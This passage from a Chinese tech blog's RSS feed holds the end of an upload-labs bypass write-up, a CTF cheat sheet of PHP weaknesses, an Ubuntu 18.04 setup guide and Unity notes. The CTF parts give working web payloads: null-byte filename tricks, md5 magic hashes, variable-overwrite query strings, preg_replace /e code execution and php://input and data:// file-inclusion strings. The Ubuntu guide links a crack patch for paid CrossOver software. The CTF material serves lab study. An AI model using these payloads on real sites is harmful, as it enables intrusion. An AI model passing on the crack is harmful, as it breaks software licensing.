<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/18-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/18-2.png" alt="" /></a></p>
<p>然后利用Apache的解析漏洞，即可获得shell</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/18-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/18-3.png" alt="" /></a></p>
<h4><a id="user-content-pass-19" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-19" aria-hidden="true"></a>Pass-19</h4>
<p>原理同<strong>Pass-11</strong>，上传的文件名用0x00绕过。改成<code>19.php【二进制00】.1.jpg</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/19-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/19-1.png" alt="" /></a></p>
<h3><a id="user-content-0x03后记" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#0x03%E5%90%8E%E8%AE%B0" aria-hidden="true"></a>0x03：后记</h3>
<p>可以发现以上绕过方法中有些是重复的，有些是意外情况，可能与项目作者的本意不符，故本文仅作为参考使用。</p>
<p>等作者修复代码逻辑后，本文也会适时更新。</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/470.html/feed</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title>CTF中常见的PHP知识点总结</title>
		<link>/ctf/417.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Mon, 21 May 2018 17:30:54 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=222</guid>

					<description><![CDATA[CTF中常见的PHP知识点总结 PHP是一门比较松散的语言，即简单方便，又容易出现一些问题。本文主要总结一些作者遇到过的一些知识点，弱类型、变量覆盖、正则表达式、以及php伪协议等...]]></description>
										<content:encoded><![CDATA[<h1><span class="wpcom_tag_link"><a href="/tags/ctf" title="CTF" target="_blank">CTF</a></span>中常见的<span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span>知识点总结</h1>
<blockquote><p><strong>PHP是一门比较松散的语言，即简单方便，又容易出现一些问题。本文主要总结一些作者遇到过的一些知识点，弱类型、变量覆盖、正则表达式、以及php伪协议等。（欢迎各位小伙伴补充交流</strong><strong>）</strong></p></blockquote>
<h2><strong><em>一</em> 、PHP弱类型</strong></h2>
<p><strong>0x01</strong><strong> &#8220;==&#8221;与&#8221;=</strong><strong>==&#8221;的区别</strong></p>
<p>&#8220;==&#8221;在进行比较时先将字符串类型转化成相同在比较。（如果比较涉及到数字内容的字符串，则字符串会被转换成数值，并且比较按照数值大小来进行）</p>
<p>&#8220;===&#8221;在进行比较时先进行字符串类型判断，再比教。</p>
<blockquote><p><strong>&#8220;根据php手册中所讲，字符串的开头决定了它转换后的值，如果该字符串以合法的数值开始，则使用该合法数值，否则其值为0&#8221;</strong></p></blockquote>
<p>1 == &#8216;1&#8217;; //true</p>
<p>1 == &#8216;1abc&#8217;; //true</p>
<p>0 == &#8216;admin&#8217;; //true</p>
<p>0 === &#8216;admin&#8217;; //false</p>
<p>0e开头的字符串，在比较时被当作科学记数法。所以在hash比较时我们可以利用php弱类型，进行绕过。这里以md5为例<br />
<code>&lt;?php </code></p>
<p><code>if(isset($_POST['uname'])&amp;&amp;isset($_POST['pwd'])){</code></p>
<p><code>     if(md5($_POST['pwd'] == 0)){</code></p>
<p><code>         echo $flag; </code></p>
<p><code>     } </code></p>
<p><code>} </code></p>
<p><code></code><code>?&gt;</code></p>
<pre>贴一些常用到的md5 ==0的字符串。
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514</pre>
<p><strong>并且md5()无法处理数组，所以当传入两个数组时两边都会返回null</strong></p>
<p><code>var_dump(md5($array1)==var_dump($array2));  //true</code><br />
<code>var_dump(null==null);  //true</code></p>
<p><em><strong>0x02  strcmp()、strcasecmp()函数</strong></em></p>
<p>strcmp()和strcasecmp()函数用于比较两个字符串，前者区分大小写。这两个函数都无法处理数组，当传入数组时，返回null。<br />
<code>$flag = "*******";</code><br />
<code>if(strcmp(($_GET['user']),$flag) == 0){</code><br />
<code>     echo $flag;</code><br />
<code>}</code></p>
<p><code>var_dump(null==0); //true </code></p>
<p><em><strong>0x03  switch()函数</strong></em></p>
<p>如果是数字类型的case的话，switch会将参数转化为数值。</p>
<p><code>$id = "2bc";</code><br />
<code>switch($id){</code><br />
<code>case 1:</code><br />
<code>case 2:</code><br />
<code>echo $flag;</code><code>}</code></p>
<p><em><strong>0x04  json绕过</strong></em><br />
<code>    $message = json_decode($_POST['message']);</code><br />
<code>    $key ="*********";</code><br />
<code>    if ($message-&gt;key == $key) {</code><br />
<code>        echo "flag";</code><br />
<code>    }</code><br />
<code>    else {</code><br />
<code>        echo "fail";</code><br />
<code>    }</code><br />
<code> }</code><br />
<code> else{</code><br />
<code>     echo "~~~~";</code><br />
<code> }</code></p>
<p>输入一个json类型的字符串，json_decode会解码为一个数组。payload为 message = {&#8220;key&#8221;:0}</p>
<h2><em><strong>二、变量覆盖</strong></em></h2>
<p><em><strong>0x01  $$的使用</strong></em></p>
<p><code>if (!isset($_POST["flag"]) )</code><br />
<code>	die($_403);</code><br />
<code>foreach ($_GET as $k =&gt; $v){</code><br />
<code>	$$k = $$v;</code><br />
<code>}</code><br />
<code>foreach ($_POST as $k =&gt; $v){</code><br />
<code>	$$k = $v;</code><br />
<code>}</code><br />
<code>if ( $_POST["flag"] !== $flag )</code><br />
<code>	die($_403);</code><br />
<code>echo "flag: ". $flag . "\n";</code><br />
<code>die($_200);</code></p>
<p><em><strong>0x02  extract()函数</strong></em></p>
<p>该函数使用数组键名作为变量名，使用数组键值作为变量值针对数组中的每一个元素，将在当前符号表中创建对应的一个变量。<br />
<code>$flag = "******"</code><br />
<code>extract($_GET)</code><br />
<code>if($text == $f){</code><br />
<code>     echo $flag</code><br />
<code>}</code></p>
<p>最终payload为： ?text=&amp;f=</p>
<p><strong><em>0x03  parse_str()函数</em></strong></p>
<p>该函数用于把查询字符串解析到变量中，如果没有array参数，则由该函数设置的变量将覆盖已存在的同名变量。<br />
<code>$chabug = 'www.chabug.com';</code><br />
<code>parse_str($_SERVER['QUERY_STRING']);</code><br />
<code>echo $chabug;</code></p>
<p>payload为： ?chabug=s1ye  则页面返回 s1ye</p>
<h2><em><strong>三、正则表达式</strong></em></h2>
<p><em><strong>0x01  eregi()函数</strong></em><br />
字符串对比解析，当ereg读取字符串string时,%<span class="hljs-number">00</span>后面的字符串不会不会被解析。<br />
<code>    if (ereg ("^[a-zA-Z]+$", $_GET['a']) !== FALSE)  {</code><br />
<code>        echo 'You password must be alphabet';</code></p>
<p>?a=abc%00123可以绕过(php 5.3x已经不再支持该用法)</p>
<p><strong><em>0x02  preg_replace()函数</em></strong><br />
preg_replace() 的第一个参数如果存在 /e 模式修饰符，则允许代码执行。（如果没有/e修饰符可以尝试%00截断。）<br />
<code>preg_replace("/test/e",$_GET["chabug"],"jutst test");</code></p>
<p>payload:  ?chabug=phpinfo()</p>
<h2><em><strong>四、PHP伪协议</strong></em></h2>
<p><strong>php伪协议(file://,php://filter,php://input,zip://,compress.bzip2://,compress.zlib://,data://)</strong></p>
<p><strong>php版本 &lt;= 5.2可以使用%00进行截断。</strong></p>
<p>file:// 在 allow_url_fopen和allow_url_include双off情况下可以正常使用，用于访问本地文件系统。</p>
<p>用法： file://文件绝对路径和文件名</p>
<p>php://  不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要开启allow_url_include)</p>
<p>php://filter 读取源码并进行base64编码输出,不然会直接当作php代码执行，就看不到源代码内容了。(在双off下可以正常使用)</p>
<p>php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。</p>
<p>例如：</p>
<p>get:  /include.php?file=php://input</p>
<p>post: &lt;?php phpinfo(); ?&gt;</p>
<p>就会返回phpinfo信息。也可以构造语句getshell。</p>
<p>zip://,bzip://,zlib://协议在双off的情况下也可以正常使用。</p>
<p>使用方法:</p>
<p>zip://chabug.zip#flag.txt（zip://绝对路径#子文件名,flag.txt内容就会以php代码执行。）</p>
<p>compress.bzip2://chabug.bz2和compress.zlib://chabug.gz用法相同</p>
<p>/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg</p>
<p>data://协议(需要满足双on条件)</p>
<p>/include.php?file=data://text/plain,&lt;?php phpinfo();?&gt;</p>
<p>or data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=</p>
<p>or data:text/plain,&lt;?php phpinfo();?&gt;</p>
<p>or data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=</p>
<h2><em><strong>五、PHP别名</strong></em></h2>
<p>php2,php3,php4,php5,phps,pht,phtm,phtml。</p>
<p>&nbsp;</p>
<h3><strong>在这里把自己遇到的一些常见知识点总结并分享出来，欢迎各位小伙伴交流指点。</strong></h3>
<p>参考链接：</p>
<p><a href="http://www.freebuf.com/column/148886.html" target="_blank" rel="noopener">php伪协议实现命令执行的七种姿势</a></p>
<p><a href="http://www.freebuf.com/column/150731.html" target="_blank" rel="noopener">代码审计|变量覆盖漏洞</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>入坑ubuntu18.04之各种bug解决方案</title>
		<link>/tools/409.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 05 May 2018 11:37:00 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[破解]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=349</guid>

					<description><![CDATA[ubuntu贼好用@(捂嘴笑) 安装 下载桌面版镜像 点我ubuntu 18.04直连下载使用U盘操作系统安装工具- Universal USB Installer最新版将iso镜...]]></description>
										<content:encoded><![CDATA[<blockquote><p><span class="wpcom_tag_link"><a href="/tags/ubuntu" title="ubuntu" target="_blank">ubuntu</a></span>贼好用@(捂嘴笑)</p></blockquote>
<h3>安装</h3>
<p>下载桌面版镜像 <a href="https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/18.04/ubuntu-18.04-desktop-amd64.iso">点我ubuntu 18.04直连下载</a><br />使用<a href="https://pan.baidu.com/s/1cfX3jGWxUgEH7KcfNDOadw">U盘操作系统安装工具- Universal USB Installer最新版</a>将iso镜像写入到u盘里，下一步下一步就行了。</p>
<p>开机进入u盘，如果你有两张显卡（集成显卡+N卡），可能会卡在启动logo，这需要在开机时<code>install ubuntu</code>选项按下<code>e</code>键，在<code>quiet splash</code>后面加上<code> nomodeset</code>注意有一个空格，然后进入就可以安装了。</p>
<h3>优化</h3>
<hr />
<h4>装显卡驱动</h4>
<p>不装驱动的话会出现各种bug，这个必须装。<br />1.禁用nouveau驱动 <br />使用下面命令行打开文件</p>
<pre><code>sudo nautilus</code></pre>
<p>找到<code>/etc/modprobe.d/blacklist.conf</code>这个路径下的blacklist.conf文件 <br />用gedit打开blacklist.conf并在在文件末尾添加如下几行：</p>
<pre><code>blacklist vga16fb
blacklist nouveau
blacklist rivafb
blacklist rivatv
blacklist nvidiafb</code></pre>
<p>保存</p>
<p>2.更新一下内核</p>
<pre><code>sudo update-initramfs -u</code></pre>
<p>3.重启系统 <br />修改后需要重启系统确认nouveau是否已经被屏蔽掉，使用lsmod命令查看：</p>
<pre><code>lsmod | grep nouveau</code></pre>
<p>4.安装NVIDIA驱动 </p>
<p>使用如下命令添加Graphic Drivers PPA</p>
<pre><code>sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update</code></pre>
<p>寻找合适的驱动版本</p>
<pre><code>ubuntu-drivers devices</code></pre>
<p>找到有recommended（推荐）就是要下载的驱动版本,记下版本数字</p>
<p>安装NVIDIA driver</p>
<pre><code>sudo apt-get install nvidia-384</code></pre>
<p>安装完成后重启</p>
<pre><code>sudo reboot</code></pre>
<p>重启系统后，执行下面的命令查看驱动的安装状态显示安装成功</p>
<pre><code>sudo nvidia-smi</code></pre>
<p>到这里安装就算完成了，你可以进入<code>/usr/share/applications/</code>目录下找到软件图标，把它复制粘贴到桌面就行了</p>
<h3>安装TIM</h3>
<p>使用corssover安装，直接在官网下载安装包，缺什么依赖装什么就行了。<br />因为这个软件是付费的，我在这分享一个<span class="wpcom_tag_link"><a href="/tags/%e7%a0%b4%e8%a7%a3" title="破解" target="_blank">破解</a></span>补丁<br />链接: <a href="https://pan.baidu.com/s/1Z-y_TbeChzBsh9WIwLqGyQ">https://pan.baidu.com/s/1Z-y_TbeChzBsh9WIwLqGyQ</a> 密码: a852</p>
<pre><code>sudo mv /opt/cxoffice/lib/wine/winewrapper.exe.so /opt/cxoffice/lib/wine/winewrapper.exe.so.bak
sudo cp winewrapper.exe.so /opt/cxoffice/lib/wine/</code></pre>
<p>安装好tim可能会乱码，找一个中文的ttf字体然后扔到<code>/opt/cxoffice/share/wine/fonts</code>目录就行了。<br />如果无法输入密码，按win+空格切换为原生的输入法再输入就ok。</p>
<h3>已知bug</h3>
<ol>
<li>TIM没声音，无法记住密码</li>
<li>主题有时候重启会乱</li>
<li><span class="wpcom_tag_link"><a href="/tags/%e7%ac%94%e8%ae%b0" title="笔记" target="_blank">笔记</a></span>本费电贼快#(无奈)</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>动画系统Macanim笔记</title>
		<link>/code/385.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 23 Mar 2018 19:12:40 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=308</guid>

					<description><![CDATA[Character Controller Character Controller 可以让角色“动起来”的常用组件有三个：Transform，Rigidbody，Character...]]></description>
										<content:encoded><![CDATA[<h1>Character Controller</h1>
<ol>
<li>Character Controller</li>
</ol>
<p>可以让角色“动起来”的常用组件有三个：Transform，Rigidbody，Character Controller<br />角色控制器也属于物理组件，它的位置在：<br />Component- &gt;Physics- &gt;Character Controller<br />角色控制器主要用于第三人称或者第一人称游戏主角(人形为主)控制。</p>
<ol>
<li>控制角色移动<br />SimpleMove（Vector3）：简单移动</li>
</ol>
<p>以一定的速度移动角色，会自动应用重力。<br />[角色控制器不是刚体，但是具备刚体的一些属性]<br /> Move（Vector3）：移动<br />更为复杂的一种运动，每次都绝对运动，不会应用重力。</p>
<p>水平：Horizontal，对应 AD 键，以及方向键的←和→。<br />垂直：Vertical，对应 WS 键，以及方向键的↑和↓。<br />轴向有返回值的，范围为-1 ~ 0 ~ 1。根据按键的力度返回相应的值。<br />4.取得轴向的值<br />Input.GetAxis（“轴向名称”）;</p>
<pre><code>float horizontal=Input.GetAxis(&quot;Horizontal&quot;);
float vertical = Input.GetAxis (&quot;Vertical&quot;);
//具有刚体的一些属性的简单移动
m_CC.SimpleMove ((new Vector3 (horizontal, 0, vertical))*3);
//移动 不会掉落
m_CC.Move ((new Vector3 (horizontal, 0, vertical))*0.333f);
</code></pre>
<h1>角色控制器属性讲解</h1>
<ol>
<li>Slope Limit</li>
</ol>
<p>斜率限制，控制角色最大的爬坡斜度。[演示：角色爬坡]</p>
<ol>
<li>Step Offset</li>
</ol>
<p>台阶高度，控制角色可以迈上最大的台阶高度。[演示：角色上台阶]</p>
<ol>
<li>Skin Width [默认即可]</li>
</ol>
<p>皮肤厚度，在角色的外围包裹着一层“皮肤”，设置这层皮肤的厚度。<br />数值调大，最明显的就是角色和地面之间的间距变大，也就是角色皮肤变厚了。</p>
<ol>
<li>Min Move Distance [默认即可]</li>
</ol>
<p>最小移动距离，默认是 0.001，也就是 1 毫米。<br />如果该数值调大，但<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>中单位移动速度很慢，角色就不会动。</p>
<ol>
<li>Center/Radius/Height</li>
</ol>
<p>角色控制器组件在 Scene 面板中体现为一个“胶囊碰撞器”的形状。<br />Center：控制中心点的位置；<br />Radius：控制半径；<br />Height：控制高度。</p>
<blockquote><p>小技巧：在 Game 面板将 Gizmos 设置为选中状态，可以在运行状态看到组<br />件的图标，方便运行过程中对组件进行调试。</p></blockquote>
<h2>方法</h2>
<pre><code>void OnControllerColliderHit(ControllerColliderHit hit){
    Debug.Log (hit.gameObject.name);
}
</code></pre>
<h1>Apply Root Motion</h1>
<p>勾选上之后，如果动画有位移，则真的发生位移。</p>
<h1>动画过渡延迟</h1>
<p>把过渡线上的Has Exit Time勾掉即可马上过渡。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Unity3D之float Input.GetAxis(string axisname)</title>
		<link>/code/383.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Mar 2018 11:07:19 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=306</guid>

					<description><![CDATA[从像这样的脚本，可以查询当前状态： value = Input.GetAxis (&#34;Horizontal&#34;);一个轴具有-1和1之间的值。中间位置为0。这种情况...]]></description>
										<content:encoded><![CDATA[<p>从像这样的脚本，可以查询当前状态：</p>
<p><code>value = Input.GetAxis (&quot;Horizontal&quot;);</code><br />一个轴具有-1和1之间的值。中间位置为0。这种情况用于操纵杆输入和键盘输入。</p>
<p>然而，鼠标增量和Window Shake增量是鼠标或窗口从上一帧到现在的移动。这意思是当用户快速移动鼠标时，它可能大于1或小于-1。</p>
<p>参数内容如下:</p>
<p>1.触屏类：</p>
<p>MouseX       鼠标按着并沿着屏幕X轴方向滑动时触发</p>
<p>MouseY       鼠标按着并沿着屏幕Y轴方向滑动时触发</p>
<p>Mouse ScrollWheel      当鼠标滚动轮滚动时触发</p>
<p>2.键盘操作类：</p>
<p>1.Vertical      对应键盘上面的上下箭头，当按下上或下箭头时触发</p>
<p>2.Horizontal    对应键盘上面的左右箭头，当按下左或右箭头时触发</p>
<pre><code>    using UnityEngine;
    using System.Collections;
    public class example :Monobehaviour {
        public float speed = 10.0F;
        public float rotationSpeed = 100.0F;
        void Update() {
            float translation = Input.GetAxis(&quot;Vertical&quot;) * speed;
            float rotation = Input.GetAxis(&quot;Horizontal&quot;) * rotationSpeed;
            translation *= Time.deltaTime;
            rotation *= Time.deltaTime;
            transform.Translate(0, 0, translation);
            transform.Rotate(0, rotation, 0);
        }
    }</code></pre>
<pre><code>// A very simplistic car driving on the x-z plane.
// 一个十分简单的在x-z平面的驾车例子
var speed : float = 10.0;
var rotationSpeed : float = 100.0;
function Update () {
    // Get the horizontal and vertical axis.
    //获取横向和纵向坐标轴
    // By default they are mapped to the arrow keys.
    //默认情况下他们关联到方向键上
    // The value is in the range -1 to 1
    //值的范围是在-1到1之间
    var translation : float = Input.GetAxis (&quot;Vertical&quot;) * speed;
    var rotation : float = Input.GetAxis (&quot;Horizontal&quot;) * rotationSpeed;
    // Make it move 10 meters per second instead of 10 meters per frame...
    // 使它每帧移动10米变为每秒移动10米...
    translation *= Time.deltaTime;
    rotation *= Time.deltaTime;
    // Move translation along the object's z-axis
    //沿着z轴平移对象
    transform.Translate (0, 0, translation);
    // Rotate around our y-axis
    //以我们的y轴为中心旋转</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Unity基础笔记</title>
		<link>/code/379.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 17 Mar 2018 23:38:00 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=287</guid>

					<description><![CDATA[最近参加省比赛，临时学的Unity，整理一份笔记。移步 https://book.chabug.org/unitybi-ji.html]]></description>
										<content:encoded><![CDATA[<blockquote><p>最近参加省比赛，临时学的<span class="wpcom_tag_link"><a href="/tags/unity" title="Unity" target="_blank">Unity</a></span>，整理一份<span class="wpcom_tag_link"><a href="/tags/%e7%ac%94%e8%ae%b0" title="笔记" target="_blank">笔记</a></span>。<br />移步 <a href="https://book.chabug.org/unitybi-ji.html">https://book.chabug.org/unitybi-ji.html</a></p></blockquote>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
